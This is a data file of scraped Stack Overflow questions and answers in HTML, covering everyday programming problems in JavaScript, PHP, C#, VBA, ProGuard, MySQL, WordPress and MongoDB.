12794591	0	 <p>Here's the first method that came to mind. Yes, it <em>is</em> ugly, but it seems to work:</p> <pre><code>function renderArray(_checkbox) { var output = [], rangeStart = 0; function outputCurrent() { if (rangeStart &lt; i - 1) output.push(_checkbox[rangeStart] + " to " + _checkbox[i - 1]); else output.push(_checkbox[i - 1]); rangeStart = i; } for (var i = 1; i &lt; _checkbox.length; i++) if (_checkbox[i] != _checkbox[i - 1] + 1) outputCurrent(); outputCurrent(); return "{" + output.join("; ") + "}"; } console.log(renderArray([1,3,4,5,7,9,10,11,14])); // logs "{1; 3 to 5; 7; 9 to 11; 14}" </code></pre> <p>Demo: <a href="http://jsfiddle.net/Jq2sQ/2/" rel="nofollow">http://jsfiddle.net/Jq2sQ/2/</a></p>
19710353	0	 <p>You can use <a href="https://code.google.com/p/html5shiv/" rel="nofollow">html5shiv</a> to make IE support HTML5!</p>
21588845	0	 <p>I'm the maintainer of JSTileMap. I have a sample project I did about a month ago that has some examples of what you're talking about here. You are welcome to have a look at my code: <a href="https://dl.dropboxusercontent.com/u/14626689/Platformer%20Test%201.zip">https://dl.dropboxusercontent.com/u/14626689/Platformer%20Test%201.zip</a></p> <p>It should give you most of the answers you are looking for as well as having some slight tweaks to JSTileMap that are as yet unpublished.</p>
2261561	0	What is involve in creating a music player in .NET? <p>I have always wanted to make a music player. But i have no idea how to. I dont need it to be cross playform, just as long as it works.</p> <p>Each part is its own question but let me know if i am missing any. I broke it up into simple, unknown and long</p> <h3>Simple</h3> <ul> <li>Selecting Files/Directories using a Dialog</li> <li>Saving playlist and other settings (json i choose you!)</li> <li>Sorting the data in the GUI</li> </ul> <h3>Somewhat difficult</h3> <ul> <li>Global Keys so i dont need to switch to the player window (i know this isnt supported in .NET :()</li> <li>Searching for songs (Allowing artist and album to be mixed with title and getting what is thought to be best results)</li> </ul> <h3>Unknown</h3> <ul> <li>Playing actual music with pause and stop with MP3, AAC and OGG support</li> <li>Song information (artist, album, title, year)</li> </ul> <p>I have a feeling when i start this will take a long time to finish. I plan to do this in C#. Do i have to use an external lib to get song information? Is one of these harder then what some people may think? any warnings about any of the above?</p>
10713781	0	 <p>I would write all your business logic as classes with those arrays in a <strong>MODEL</strong> file, access those classes from the <strong>CONTROLLER</strong> file. And then once you have all your data, access from the <strong>CONTROLLER</strong> the <strong>VIEW</strong> file to output. Inside the <strong>MODEL</strong> write functions for those arrays so that you can reuse them, if they vary they may need own functions. This is a helpful link: <a href="http://php-html.net/tutorials/model-view-controller-in-php/" rel="nofollow">http://php-html.net/tutorials/model-view-controller-in-php/</a> and those videos give you a taste of the logic behind MVC: <a href="http://www.youtube.com/watch?v=HFQk8WGK1-Q&amp;feature=bf_prev&amp;list=UU9-GXsmQQ-N4h8ZsKI8CSkw" rel="nofollow">http://www.youtube.com/watch?v=HFQk8WGK1-Q&amp;feature=bf_prev&amp;list=UU9-GXsmQQ-N4h8ZsKI8CSkw</a></p>
10369677	0	 <p>One way to rewrite is to use the <code>switch</code> statement in PHP. You can <a href="http://php.net/manual/en/control-structures.switch.php" rel="nofollow">read more about it here</a>.</p>
3856303	0	 <p>As Igor says, Apple's fork of gas is ancient and wants:</p> <ul> <li>.global replaced by .globl</li> <li>all instructions in lowercase</li> <li>replace ';' comment separator with '@'</li> <li>stub labels for address imports</li> </ul> <p>I've written a pre-processor awk script for the Tremolo .s files to make them acceptable to Xcode, which I'll contribute back via Robin.</p> <p>Alternatively, you could try <a href="http://github.com/gabriel/ffmpeg-iphone-build/blob/master/gas-preprocessor.pl">this</a>.</p>
25077204	0	 <p>What you need its called "push notifications". PhoneGap has some plugins for that. </p> <ul> <li><a href="https://build.phonegap.com/plugins/324" rel="nofollow">plugin</a></li> <li><a href="http://apigee.com/docs/app-services/content/tutorial-push-notifications-sample-app" rel="nofollow">sample app</a></li> <li><a href="http://devgirl.org/2013/07/17/tutorial-implement-push-notifications-in-your-phonegap-application/" rel="nofollow">tutorial</a></li> </ul> <p>This might also be helpful:</p> <ul> <li><a href="http://developer.android.com/guide/topics/ui/notifiers/notifications.html" rel="nofollow">Android notifications</a></li> <li><a href="http://plugins.cordova.io/#/package/de.appplant.cordova.plugin.local-notification" rel="nofollow">Cordova local notifications plugin with instructions etc</a> -> here you can see how the plugin is installed and used</li> </ul> <p>Be warned, that using proper push notifications you'll have to <a href="http://apigee.com/docs/app-services/content/registering-notification-service" rel="nofollow">register</a> your app first - if your notifications are not only local of course. </p> <blockquote> <p>To send push notifications, you will need to first register your app with the push notification service (Apple APNs or Google GCM) that corresponds to your app's platform.</p> </blockquote>
9496617	0	Java error Native Library already loaded in another classloader <p>I'm using the java bonjour library (dns_sd.jar) in a web application running in Jboss web server.</p> <p>When I start the server a Servlet finds every resource on the network with bonjour and returns to the user. The first time everything runs great but when I redeploy the web app I get:</p> <p>java.lang.UnsatisfiedLinkError: Native Library C:\Windows\System32\jdns_sd.dll already loaded in another classloader</p> <p>I already tried deletting the .dll and the samething happens.</p> <p>Why does it even refer the .dll if I have the .jar lib in my web app?</p> <p>Does anyone have any idea on how to fix this?</p>
37195467	0	Unable to Access Public Variables - Excel VBA <p>I am working on a rather large Excel application via VBA. I want to place all my public variables in one module. Then I would assign and use those variables in my other modules in the same workbook. Here's what I have.</p> <pre><code>Option Explicit Public wdApp As Word.Application Public wdDoc As Word.Document </code></pre> <p>But when I tried to assign those variables in my other modules, I got the following message. Shouldn't public variables be accessible to all modules? What am I missing?</p> <p><a href="https://i.stack.imgur.com/q1te0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/q1te0.png" alt="enter image description here"></a></p>
16028380	0	2D NSString array usage inside block method <p>Why am I not able to use this?</p> <pre><code>__block NSString *tableStrings[4][2]; [userValues enumerateObjectsUsingBlock:^(NSNumber *userScore, NSUInteger idx, BOOL *stop) { tableStrings[idx][0] = @"&lt; 5"; tableStrings[idx][1] = @"&gt; 95"; }]; </code></pre> <p>The compiler is yelling at me of <code>"Cannot refer to declaration with an array type inside block"</code>. I was under the impression that denoting <code>__block</code> before the variable would allow this to be done. I can make it work with using <code>NSString[x][x]</code> but I'm curious as to why this is not allowed. </p>
2930233	0	 <p>FILTER_VALIDATE_FLOAT does not accept a range option. Check the <a href="http://www.php.net/manual/en/filter.filters.validate.php" rel="nofollow noreferrer">doc</a>.</p>
13821949	0	Proguard does not obfuscate gui components <p>I would like to use ProGuard to obfuscate my Android app. This works fine. But my gui classes, which extends acitvity, view and sherlockactivity are not obfuscated. Here is the proguard.cfg</p> <pre><code>-injars bin/classes -injars libs -outjars bin/classes-processed.jar -libraryjars C:/Users/android-sdks/platforms/android-17/android.jar -dontpreverify -dontoptimize -repackageclasses '' -allowaccessmodification -optimizationpasses 5 -optimizations !code/simplification/arithmetic,!field/*,!class/merging/* -keepattributes *Annotation* -dontwarn sun.misc.Unsafe -dontwarn com.actionbarsherlock.** -dontwarn com.google.common.** -keep class android.support.v4.app.** { *; } -keep interface android.support.v4.app.** { *; } -keep class com.actionbarsherlock.** { *; } -keep interface com.actionbarsherlock.** { *; } -keep public class * extends android.app.Activity -keep public class * extends android.app.Application -keep public class * extends android.app.Service -keep public class * extends android.content.BroadcastReceiver -keep public class * extends android.content.ContentProvider -keep public class * extends android.view.View -keep public class * extends android.view.ViewGroup -keep public class * extends android.support.v4.app.Fragment -keepclassmembers class * extends android.app.Activity { public void *(android.view.View); } -keepclassmembers class android.support.v4.app.Fragment { *** getActivity(); public *** onCreate(); public *** onCreateOptionsMenu(...); } -keepclassmembers class * extends com.actionbarsherlock.ActionBarSherlock { public &lt;init&gt;(...); } -keepclasseswithmembers class * { public &lt;init&gt;(android.content.Context, android.util.AttributeSet); } -keepclasseswithmembers class * { public &lt;init&gt;(android.content.Context, android.util.AttributeSet, int); } -keep public class * extends android.view.View { public &lt;init&gt;(android.content.Context); public &lt;init&gt;(android.content.Context, android.util.AttributeSet); public &lt;init&gt;(android.content.Context, android.util.AttributeSet, int); public void set*(...); } -keepclassmembers class * implements android.os.Parcelable { static android.os.Parcelable$Creator CREATOR; } -keepclassmembers class **.R$* { public static &lt;fields&gt;; } -keepclassmembers class com.brainyoo.brainyoo2android.ui.html.BYJavaScriptInterface { public *; } </code></pre> <p>First, I thought activities can´t be obfuscated because of the reflection call</p> <pre><code>myactivity.class </code></pre> <p>I've tried to add:</p> <pre><code>- keep public class mypackege.myactivity.class </code></pre> <p>But it does not solve the problem. Any ideas how to obfuscate the gui elements?</p> <p>Thanks Christine</p>
34075001	0	 <p>I had the same problem, except my cause was that I was attempting to pass an integer (Int32) as a web service parameter. It looks like web service parameters in SSIS should always be strings.</p>
39380697	0	 <p>you can use the overloaded method of toArray() .. like this -</p> <pre><code>double[][] remainingStockout = new double[array.length][array.length]; stockout.toArray(remainingStockout); </code></pre>
16072877	0	 <p>I am not claiming this is how to do it, but it seems to work, and would appreciate any opinions. Thanks</p> <pre><code>DELIMITER $$ CREATE PROCEDURE `createRecord` () BEGIN IF NEW.created_by_user IS NULL OR NEW.created_by_user = '' THEN SET NEW.created_by_user = @users_id; END IF; IF NEW.modified_by_user IS NULL OR NEW.modified_by_user = '' THEN SET NEW.modified_by_user = @users_id; END IF; END$$ CREATE PROCEDURE `modifyRecord` () BEGIN IF NEW.modified_by_user = OLD.modified_by_user THEN SET NEW.modified_by_user = @users_id; END IF; END$$ CREATE TRIGGER tg_notes_upd BEFORE UPDATE ON notes FOR EACH ROW BEGIN CALL createRecord(); END$$ CREATE TRIGGER tg_notes_ins BEFORE INSERT ON notes FOR EACH ROW BEGIN CALL modifyRecord(); END$$ DELIMITER ; </code></pre>
29189599	0	 <p>It's not clear what you mean by "issues distinguishing between AM and PM". Is it that you enter a time in the afternoon, e.g. 12pm, then add minutes and it becomes am? That's because minutesAdded() is using the number of minutes to determine whether it's the morning or evening. You would be better off calculating the time -- meaning the whole time, hours and minutes, not just minutes -- before printing out the time. You have made a start with</p> <pre><code>nTime = minutes + addedMinutes; </code></pre> <p>but don't stop there. As long as the accumulated minutes value is >= 60, you have to take off 60 minutes and bump the hours up by one. Not just once. If you add 122 minutes, you have to take TWO lots of 60 minutes off. Does that sound like a while loop? No, not unless you want the teacher to laugh at your code! Look up the operators for division and remainder. You're trying to do the calculation and the output in one step. That's difficult. Work out the value first, then print it afterwards.</p> <p>Oh, and by the way, don't forget about what happens if you add 200 minutes to 23:00...</p> <p>When you are working out the time after adding the minutes, why do you not use the hours and minutes variables? If you add some minutes to your time, the time should be changed, meaning the minutes and/or hours members should be updated. </p> <p>You should have a method to add the minutes -- not to read the amount to be added, and then print out the time with the minutes added, just a method to add the minutes.</p> <pre><code>void Time::incrementMinutes(int nMinutes) { ...the code to update hours and minutes variables correctly is left as an exercise... } </code></pre> <p>Then after you have got addedMinutes from cin, call</p> <pre><code>incrementMinutes(addedMinutes); </code></pre> <p>Then you could make a method to print the time, printTime() which sends the time to cout. That would then be used by minutesAdded() and by militaryClock(), so you don't have to worry in BOTH places about all the conditions for whether it's AM or PM. You only have to get that right in printTime().</p> <p>Now, about the structure of your program.</p> <p>First, the constructor should construct the object, set everything in it. It gets called automatically when an instance is constructed, to set up the whole instance. It's not the way to just set one field. Please write a different method to set the minutes to 0 if you are not constructing a Time object. </p> <p>Maybe setMinutes was to have been that method. But setMinutes() is</p> <pre><code>void Time::setMinutes() { this -&gt; minutes = minutes; } </code></pre> <p>That doesn't do anything. Within the method of an object, the member name refers to the member of the object (unless overridden by the same name in a closer scope). So within this function, 'minutes' means the same as 'this->minutes'. </p> <p>Maybe you intended something like this instead?</p> <pre><code>void Time::setMinutes(int newMinutes) { minutes = newMinutes; } </code></pre> <p>That would at least set this->minutes to a certain value. Then, to set minutes to 0, you don't call Time(), you call setMinutes(0).</p> <p>Finally, you can tell cout to use 2 characters for minutes, by piping setw(2) before the number; you can tell it to use the value '0' for the extra character by piping in setfill('0'). You have to #include to get this stuff. So </p> <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; using namespace std; int main() { cout &lt;&lt; setfill('0') &lt;&lt; setw(2) &lt;&lt; 1 &lt;&lt; ":" &lt;&lt; setw(2) &lt;&lt; 2 &lt;&lt; endl; } </code></pre> <p>will output 01:02 The setfill('0') means any padding will be done with '0'; the setw(2) means the single next thing output will be padded to 2 chars.</p> <p>Hope that helps... without doing your homework for you...</p>
10882207	0	 <p>You can do that :</p> <pre><code>$('#btnDining').css({'cursor':'pointer'}).on('click', function(e){ var src = $(this).attr('src'); src = (src.indexOf('off.png')!=-1)?src.replace("_off","_on"):src.replace("_on","_off"); $(this).attr('src', src); }); </code></pre> <p>And I think, it's a more readable way..</p>
14770370	0	Jquery css compare background-colour value <p>I have an <code>img</code>. On click it checks the background color of its parent and toggles the background color to grey if it is white and to white if it is grey. here k have value that is rgb(255,255,255) (white) but the if loop sud be excuted but else part executed... means if is not working... here in my code what happens when i execute it .... it only exectes only if part sometimes and when i change something it only exectes else part .... even if condition do not satisfy... like it should make grey when white and white when it is grey... but it did not.... i want to ask the condition which i have used ... is it correct...</p> <pre><code>function havetotha(it) { var k = $(it).parent().css('background-color'); $('#message').html(k); if (k == 'white') { $(it).parent().css('backgroundcolor','grey'); } else { $(it).parent().css('backgroundcolor','white'); } } </code></pre> <p>i figured it out ...</p> <p>in if in condition i was comparing ($(it).parent().css('background-color')=="rgb(255,255,255)").... where rgb(255,255,255) is string but $(it).parent().css('background-color') it is not string so.... i used a trick i made two divs one with grey backgroun and other with white.... and compared there background with the my elements .... it works just take very long time to get into my mind..</p>
20890030	0	MVC5 aspnet.identity + FLASH user authentication <p>I'm looking for example or idea how to manage user authentication in FLASH with MVC5 ASP.NET identity using internal accounts and external logins (facebook etc.).</p> <p>I know that there are examples for simplemembership and that there are problems with FLASH automatic authentications. But i can't find nothing about MVC5 :(.</p> <p>Authentication itself will be made by ASP.NET pages. I want /<em>only</em>/ a FLASH app to be able to use authenticated session when making server reuqests.</p> <p>Flash app is used to edit some data and save to DB on server side (MVC5) so it must be safe and allowed only for certain authenticated user.</p> <p><strong>What is the safest way to authenticate user in FLASH app placed on MVC5 page?</strong> </p>
21948559	0	 <p>You are inserting a String as parameter to the setOpacity method, which only takes doubles.</p>
17767456	0	Array counting Error <p>I am trying to count from the following associative array in two's key->value filter, by Key-gender and Key-rname, Please see below ...</p> <pre><code>&lt;pre&gt; Array ( [0] =&gt; Array ( [fname] =&gt; jone [lname] =&gt; jani [gender] =&gt; m [rname] =&gt; N ) [1] =&gt; Array ( [fname] =&gt; jani [lname] =&gt; jone [gender] =&gt; m [rname] =&gt; N ) [2] =&gt; Array ( [fname] =&gt; sara [lname] =&gt; bulbula [gender] =&gt; w [rname] =&gt; D ) [3] =&gt; Array ( [fname] =&gt; hani [lname] =&gt; hanu [gender] =&gt; w [rname] =&gt; P ) [4] =&gt; Array ( [fname] =&gt; ttttttt [lname] =&gt; sssssss [gender] =&gt; m [rname] =&gt; C ) ) &lt;/pre&gt; </code></pre> <p>What i want the result is as follows..</p> <pre> rname gender m w N 2 0 D 0 1 P 0 1 C 1 0 total 3 2 </pre> <p>Some help please? </p>
33491879	0	 <p>Firstly, I think there might be some misunderstanding in the term 'inject'.</p> <p>Inject means this:</p> <pre><code>public class UserService { MyContext _db; public UserService(MyContext db) { _db = db; } public void GetUserById(string id) { _db.Users.First(x =&gt; x.Id = id); } } </code></pre> <p>Instead of this:</p> <pre><code>public class UserService { MyContext _db = new MyContext(); public UserService() { } public void GetUserById(string id) { _db.Users.First(x =&gt; x.Id = id); } } </code></pre> <p>Notice how in the first example <code>MyContext</code> is 'injected' into the constructor. In the second example, <code>UserService</code> itself creates a new instance of <code>MyContext</code>.</p> <p>Now, should you? I believe you should, and in fact, it is an accepted good practice. Before you do, make sure to read and try it on a few sample projects to find out the benefits it brings you. <a href="https://en.wikipedia.org/wiki/Dependency_injection#Advantages" rel="nofollow">Wikipidia: Dependency Injection Advantages</a></p>
27154522	0	 <p>Basically JAXRS is just an API, there are several implementation of this API, the most commonly used is Jersey, RESTEasy, CXF, <a href="http://www.infoq.com/news/2008/10/jaxrs-comparison" rel="nofollow">[comparison]</a>, check <a href="http://programmers.stackexchange.com/questions/155467/selecting-a-jax-rs-implementation-for-a-new-project">this</a> </p> <p>Add the end you need to consider declare a servlet like this.</p> <pre><code>&lt;web-app&gt; &lt;servlet&gt; &lt;servlet-name&gt;MyApplication&lt;/servlet-name&gt; &lt;servlet-class&gt;org.glassfish.jersey.servlet.ServletContainer&lt;/servlet-class&gt; &lt;init-param&gt; ... &lt;/init-param&gt; &lt;/servlet&gt; ... &lt;servlet-mapping&gt; &lt;servlet-name&gt;MyApplication&lt;/servlet-name&gt; &lt;url-pattern&gt;/myApp/*&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; ... &lt;/web-app&gt; </code></pre> <p>This will start loading the Jersey implementation and its components. Consider read this <a href="https://jersey.java.net/documentation/latest/user-guide.html#deployment.servlet" rel="nofollow">section</a>, depending the version of Servlet that you are using it could be little bit different.</p>
32508759	0	 <p>It appears this is a JDK bug and it looks like this could be fixed by updating your JDK, what version are you currently on?</p> <p>It looks like <a href="https://issues.apache.org/jira/browse/CASSANDRA-8220" rel="nofollow">CASSANDRA-8220</a> (C* 2.2.1+, and 3.0.0-alpha1) was introduced to work around the problem, but I think upgrading your JDK should fix this as well.</p>
13167610	0	 <p>I think you can iterate through the character check if that is vowel or not as below:</p> <pre><code> define a new string for(each character in input string) //("aeiou".indexOf(character) &lt;0) id one way to check if character is consonant if "aeiou" doesn't contain the character append the character in the new string </code></pre>
29570248	0	Change page styles Android WebView <p>I'm currently working on a small application that simply loads one webpage into webview and I want to be able to make this webpage look different while browsing using this application..</p> <p>This page uses one .css and I want to use my own version of that .css instead of the original one or just replace part of the original with mine (by using the original and then overwriting it with my version)..</p> <p>Is it possible to modify source code of the page (optionaly before it even loads) so I can change some styles to make the webpage look different?</p> <p>Just to explain: I want change <code> &lt;link rel="stylesheet" type="text/css" href="original.css"&gt; </code> to <code> &lt;link rel="stylesheet" type="text/css" href="original.css"&gt; &lt;link rel="stylesheet" type="text/css" href="http://www.something.com/edited.css"&gt;</code></p> <p>I'm using Xamarin Studio, C# Android WebView project, by the way.. Also, this is very likely going to be called duplicate of this: <a href="http://stackoverflow.com/questions/23770023/override-web-page-style-in-android-webview">Override web page style in Android WebView</a> but it was never answered so it's not very helpful for me..</p>
30466358	0	 <p>I ended up recreating the affected views after swapping two items. A class variable would tell the getView() function when the views should be recreated</p>
10950023	0	 <p>LeadTools and VisioForge SDKs are just wrappers for DirectShow + some custom filters from them! There is no real alternativ to DirectShow for capturing on a Windows PC. Maybe on Win8 with MediaFoundation? Some Hardware Vendors have there own capture programms, but most of them just use DirectShow.</p> <p>I think your problem is not DirectShow. How long is your callback working? Because if your doing some analysis on the image, then you need to do this fast. Not the time in your callback is importent, but the presentation time in the mediasample you get! This should be +33ms from the previews sample.</p>
20721988	0	background is gone when <p>I want my application will be more smoothly and I read that <code>hardware_acceleraton</code> could be a solution.</p> <p>So I turn on <code>hardware_acceleraton = true</code> and my background image just gone and only appearing black background.</p> <p>Do I have to do another thing or what is wrong here? </p>
12406232	0	Fancybox iframe type return value on close <p>I'm using fancxbox,it is possible to pass back a variable from fancybox child to parent.</p> <p>In the child page there is text field called <code>banner_width1</code> (<code>&lt;input name="banner_width" id="banner_width1" type="text" size="5" value="1000"/&gt;</code>)</p> <pre><code>'onClosed':function() { alert($("#banner_width1").val()); var x = $("#fancybox-frame").contentWindow.targetFunction(); alert(x.val()); } </code></pre>
21798931	0	 <p>By default, WordPress filters the title and body of all posts through <a href="http://codex.wordpress.org/Function_Reference/wptexturize" rel="nofollow"><code>wptexturize</code></a>. Among other typographical niceties, this transforms various sequences of standard ASCII hyphens into appropriate dashes, e.g. " -- " is transformed into an <a href="https://en.wikipedia.org/wiki/Dash#Em_dash" rel="nofollow">em-dash</a>.</p> <p><code>wptexturize</code> is run by WordPress through the filters <a href="http://codex.wordpress.org/Plugin_API/Filter_Reference/the_title" rel="nofollow"><code>the_title</code></a> and <a href="http://codex.wordpress.org/Plugin_API/Filter_Reference/the_content" rel="nofollow"><code>the_content</code></a>. You can remove it -- code adapted from <a href="http://wordpress.stackexchange.com/questions/60379/how-to-prevent-automatic-conversion-of-dashes-to-ndash">this answer</a> -- by, for example:</p> <pre><code>remove_filter( 'the_title', 'wptexturize' ); </code></pre> <p>...in your theme's <code>functions.php</code>, say, or from within plugin code.</p> <p>However, I'd suggest that this will (a) make your titles not look as nice (you'll lose smart quotes, nice dashes, etc.), and (b) not be very future-proof. If something else starts filtering your titles -- a new plugin, a different theme -- then you'll be back with database mismatches.</p> <p>My approach would therefore be to adjust your existing code to use the post ID rather than the title. That's an integer, will never change, is never filtered, and will be faster to look up in the database (not just because it's an integer, but also because there's a unique index on it.) </p>
14704883	0	 <p>AdSupport.framework available only in iOS6+, so you won't be able to find it in XCode version prior to 4.5</p> <p><strong>UPD:</strong></p> <p>According to AdMob 6.2.0 changelog:</p> <ul> <li>Required to use Xcode 4.5 and build against iOS 6. The minimum deployment is iOS 4.3.</li> </ul>
40685916	0	 <p>You have to use a Graph operation:</p> <pre><code>a = tf.placeholder(tf.float32, shape=(None, 3072)) b = tf.shape(a)[0] </code></pre> <p>returns</p> <pre><code>&lt;tf.Tensor 'strided_slice:0' shape=() dtype=int32&gt; </code></pre> <p>while <code>b = a.get_shape()[0]</code> returns</p> <pre><code>Dimension(None) </code></pre>
11774258	0	Is there a shortcut way that I can set up fields of an object with javascript or jQuery? <p>I have the following code:</p> <pre><code>obj = new Object(); obj.close = close; obj.$form = $form; obj.action = $form.attr('data-action') obj.entity = $form.attr('data-entity') obj.href = $form.attr('data-href'); obj.rownum = $link.attr('data-row'); obj.$row = $('#row_' + obj.rownum); obj.$submitBt = $('.block-footer button:contains("Submit")'); </code></pre> <p>Is there some way that I could combine this into one assignment with jQuery? </p>
18616083	0	Why does my MVC 4 Project Partially Run on Production IIS 7 Server <p>We have a ASP.NET MVC 4 project containing a number of controllers, models and views. </p> <p>On our development server a Windows Standard 2008 (x64) the project is deployed/published and it runs fine. </p> <p>However, when we try to publish the project to our live production server running a Windows Web 2008 x64 the MVC pages appear to partially load, but when we try to make calls to the controller it appears that it is failing. </p> <p>It is very difficult for me to give more information, since I don't know where to trap the error or how to diagnose the problem.</p> <p>Any help would be greatly received.</p>
11596360	0	Troubleshooting: Extending the jQuery Sortable With Ajax & MYSQL <p>I'm trying to implement an ajax tutorial I found at <a href="http://linssen.me/entry/extending-the-jquery-sortable-with-ajax-mysql/" rel="nofollow">http://linssen.me/entry/extending-the-jquery-sortable-with-ajax-mysql/</a></p> <p>The tutorial allows for click-and-drag sortable bullet lists...where each item's position is updated in the database. </p> <p>There's an info box that shows what changes have supposedly been made, but there are no changes made to the database. </p> <p>I've gone over the tutorial a hundred times and I have no idea what could be the problem.</p> <p>I could use a second pair of eyes.</p> <p>process-sortable.php</p> <pre><code>&lt;?php foreach ($_GET['listItem'] as $position =&gt; $item) : $sql[] = "UPDATE `user_feeds` SET `feed_order` = $position WHERE `feed_id` = $item"; endforeach; print_r ($sql); ?&gt; </code></pre> <p>index.php</p> <pre><code>&lt;?php require_once('../php/includes/simplepie.inc'); require_once('../php/includes/newsblocks.inc'); include "../base.php"; $userid = $_SESSION['UserID']; ?&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt; &lt;title&gt;jQuery Sortable With AJAX &amp;amp; MYSQL&lt;/title&gt; &lt;script type="text/javascript" src="jquery-1.3.2.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="jquery-ui-1.7.1.custom.min.js"&gt;&lt;/script&gt; &lt;link rel='stylesheet' href='styles.css' type='text/css' media='all' /&gt; &lt;script type="text/javascript"&gt; // When the document is ready set up our sortable with it's inherant function(s) $(document).ready(function() { $("#test-list").sortable({ handle : '.handle', update : function () { var order = $('#test-list').sortable('serialize'); $("#info").load("process-sortable.php?"+order); } }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;pre&gt; &lt;div id="info"&gt;Waiting for update&lt;/div&gt; &lt;/pre&gt; &lt;ul class="tabs userfeeds" id="test-list"&gt; &lt;?php $feed_results = mysql_query("SELECT feed_id, feed_title, feed_order, feed_page_id FROM user_feeds WHERE ((feed_owner = '" . $_SESSION['UserId'] . "') AND (feed_page_id = '" . $pageid . "')) ORDER BY feed_order ASC;"); $tabcounter = 1; while($row = mysql_fetch_array($feed_results)) { echo "&lt;li id='listItem_"; echo $row[feed_id]; echo "' &gt;"; echo $row[feed_title]; echo "&lt;img src='arrow.png' alt='move' width='16' height='16' class='handle' /&gt;&lt;/li&gt;"; $tabcounter++; } ?&gt; &lt;/ul&gt; &lt;form action="process-sortable.php" method="get" name="sortables"&gt; &lt;input type="hidden" name="test-log" id="test-log" /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
12457346	0	 <p>You will not be able to retrieve a plain text password from wordpress.</p> <p>Wordpress use a 1 way encryption to store the passwords using a variation of md5. There is no way to reverse this.</p> <p>See this article for more info <a href="http://wordpress.org/support/topic/how-is-the-user-password-encrypted-wp_hash_password">http://wordpress.org/support/topic/how-is-the-user-password-encrypted-wp_hash_password</a></p>
7556724	0	 <p>Have you tried removing the ContentType header and adding it after : </p> <p><a href="http://i2.iis.net/ConfigReference/system.webServer/httpProtocol/customHeaders" rel="nofollow">http://i2.iis.net/ConfigReference/system.webServer/httpProtocol/customHeaders</a></p> <p>I have never done that with app_offline.htm but might work.</p>
32223076	0	 <p>You really should not be calling asynchronous functions inside a synchronous loop. What you need is something that repects the callback on completion of the loop cycle and will alert when the update is complete. This makes incrementing counters externally safe.</p> <p>Use something like <a href="https://github.com/caolan/async#whilsttest-fn-callback" rel="nofollow">async.whilst</a> for this:</p> <pre><code>var i = 0; async.whilst( function() { return i &lt; req.body.app_events.length; }, function(callback) { console.log(req.body.app_events[i].event_key); //delete upsertData._id; Appusers.findOneAndUpdate( { app_key: req.body.app_key, e_key:req.body.app_events[i].event_key}, { $set : { app_key:req.body.app_key, e_key: req.body.app_events[i].event_key, e_name: req.body.app_events[i].event_name } }, { upsert: true}, function(err,data) { if (err) callback(err); console.log(data); i++; callback(); } ); }, function(err) { if (err) console.log(err); else // done; } ); </code></pre> <p>Now the loop is wrapped with a "callback" which is called in itself within the callback to the update method. Also if you expect a "document" back then you should be using <code>.findOneAndUpdate()</code> as <code>.update()</code> just modifies the content and returns the number affected.</p> <p>When the loop is complete or when an error is passed to the callback, then handling is moved to the last function block, where you complete your call or call other callbacks as required.</p> <hr> <p>Better than above. Dig into the native driver methods for <a href="http://docs.mongodb.org/manual/reference/method/Bulk/" rel="nofollow">Bulk</a> operations. You need to be careful that you have an open connection to the database already established. If unsure about this, then try to always wrap application logic in:</p> <pre><code>mongoose.connection('once',function(err) { // app logic here }); </code></pre> <p>Which makes sure the connections have been made. The mongoose methods themselves "hide" this away, but the native driver methods have no knowledge.</p> <p>But this is the fastest possible listing to update the data:</p> <pre><code>var i = 0; var bulk = Appusers.collection.initializeOrderedBulkOp(); async.whilst( function() { return i &lt; req.body.app_events.length; }, function(callback) { console.log(req.body.app_events[i].event_key); bulk.find( { app_key: req.body.app_key, e_key:req.body.app_events[i].event_key}, ).upsert().updateOne({ $set : { app_key:req.body.app_key, e_key: req.body.app_events[i].event_key, e_name: req.body.app_events[i].event_name } }); i++; if ( i % 1000 == 0) { bulk.execute(function(err,response) { if (err) callback(err); console.log(response); bulk = Appusers.collection.initializeOrderedBulkOp(); callback(); }) } else { callback(); } }, function(err) { if (err) console.log(err); else { if ( i % 1000 != 0 ) bulk.execute(function(err,response) { if (err) console.log(err) console.log(response); // done }); else // done } } ); </code></pre> <p>The Bulk methods build up "batches" of results ( in this case 1000 at a time ) and send all to the server in one request with one response ( per batch ). This is a lot more efficient than contacting the database once per every write.</p>
35497226	0	Class 'PhpOffice\PhpWord\Settings' not found in app/code/core/Mage/Core/Model/Config.php on line 1348 <p>After upgraded to PHP 7, my website magento print order using PhpWord library not working.</p> <p>I have this error: </p> <p>Cannot use PhpOffice\PhpWord\Shared\String as String because 'String' is a special class name in /home/.../vendor/phpoffice/phpword/src/PhpWord/Style/Paragraph.php</p> <p>Then I using lastest PhpOffice/PhpWord and PhpOffice/Common but it's showing next error: </p> <p>Fatal error: Class 'PhpOffice\PhpWord\Settings' not found in /app/code/core/Mage/Core/Model/Config.php on line 1348</p> <p>Can you help me solve this error?</p> <p>Thanks.</p>
